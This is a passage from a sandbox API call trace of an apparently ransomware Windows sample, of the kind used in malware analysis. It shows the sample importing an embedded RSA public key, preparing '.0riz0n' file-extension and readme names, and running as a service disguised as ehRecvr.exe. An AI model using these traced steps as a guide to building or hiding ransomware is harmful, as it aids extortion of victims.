0xa9dd00 [0136.839] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d208 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9de28 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dd88) returned 1 [0136.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9deb0 [0136.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c0d8, cbMultiByte=7, lpWideCharStr=0xa9deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9df38 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9deb0) returned 1 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1e8 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9deb0 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9df38) returned 1 [0136.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9df38 [0136.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c288, cbMultiByte=11, lpWideCharStr=0xa9df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9dfc0 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9df38) returned 1 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d1f8 [0136.840] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9df38 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9dfc0) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2c8) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1b0) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c168) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d298) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d288) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d278) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d268) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d258) returned 1 [0136.840] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9bc08) returned 1 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x982850 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d258 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d258) returned 1 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x982850 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d258 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d268 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c240 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d278 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.841] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d288 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d618 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d298 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.841] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2e8 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5e8 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d258) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d268) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d278) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d288) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d5e8 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d288 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d278 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d268 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c240 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d258 [0136.842] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c0d8 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c168) returned 1 [0136.842] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d298) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1b0) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2d8) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c1f8) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2c8) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c5e8) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d2e8) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d618) returned 1 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x10) returned 0xa9d618 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2e8 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c5e8 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2c8 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1f8 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d2d8 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c1b0 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x8) returned 0xa9d298 [0136.843] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c168 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d288) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d278) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d268) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d258) returned 1 [0136.843] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.843] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=14, lpWideCharStr=0xa9dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0136.844] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=10, lpWideCharStr=0xa9e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0136.844] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=15, lpWideCharStr=0xa9e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0136.844] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x982850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0136.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x982850, cbMultiByte=56, lpWideCharStr=0xa9e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0136.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x985058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0136.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x985058, cbMultiByte=7, lpWideCharStr=0xa9e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0136.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x985058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0136.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x985058, cbMultiByte=14, lpWideCharStr=0xa9e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0136.845] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0136.852] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x3bf9fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x3bf9fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0136.852] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x987cf8, pcbBinary=0x3bf9fc, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x987cf8, pcbBinary=0x3bf9fc, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0136.852] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x987cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x3bf9fc | out: pvStructInfo=0x0, pcbStructInfo=0x3bf9fc) returned 1 [0136.865] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x987cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x987f40, pcbStructInfo=0x3bf9fc | out: pvStructInfo=0x987f40, pcbStructInfo=0x3bf9fc) returned 1 [0136.865] CryptImportPublicKeyInfo (in: hCryptProv=0x81e390, dwCertEncodingType=0x10001, pInfo=0x987f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x987f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x987f78*, PublicKey.cUnusedBits=0x0), phKey=0x3bfa00 | out: phKey=0x3bfa00*=0x822340) returned 1 [0136.867] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x987f40) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x987cf8) returned 1 [0136.868] ReleaseMutex (hMutex=0xa0) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985058) returned 1 [0136.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x985058 [0136.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c900 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c900) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985058) returned 1 [0136.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2800) returned 0x985058 [0136.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c900 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c900) returned 1 [0136.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c900 [0136.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0136.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e1e0 [0136.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa9c900, cbMultiByte=9, lpWideCharStr=0xa9e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0136.868] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e268 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e1e0) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e268) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c900) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985058) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x982850) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c0d8) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d258) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c240) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d268) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d278) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d288) returned 1 [0136.868] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d5e8) returned 1 [0136.868] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0136.869] StartServiceCtrlDispatcherW (lpServiceTable=0x3bfac8*(lpServiceName="", lpServiceProc=0xc2d040)) [0188.182] SetServiceStatus (hServiceStatus=0x81e328, lpServiceStatus=0x3bf9c8*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 480 os_tid = 0x648 Thread: id = 481 os_tid = 0x654 Thread: id = 482 os_tid = 0x658 Thread: id = 483 os_tid = 0x65c [0136.878] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0xc2ce51) returned 0x81e328 [0136.878] SetServiceStatus (hServiceStatus=0x81e328, lpServiceStatus=0x1a7fed4*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0136.880] GetCommandLineW () returned="C:\\Windows\\ehome\\ehRecvr.exe" [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e268 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x5c) returned 0xa9dd28 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e1e0 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e2f0 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e378 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e400 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e488 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e510 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e598 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e620 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e6a8 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e730 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e7b8 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x987cf8 [0136.880] GetSystemWow64DirectoryW (in: lpBuffer=0x987cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0136.880] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x987cf8) returned 1 [0136.880] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e840 [0136.881] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e840) returned 1 [0136.881] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e840 [0136.881] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x1a7fc30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7fc30) returned 0x81fcd8 [0136.881] RtlAllocateHeap 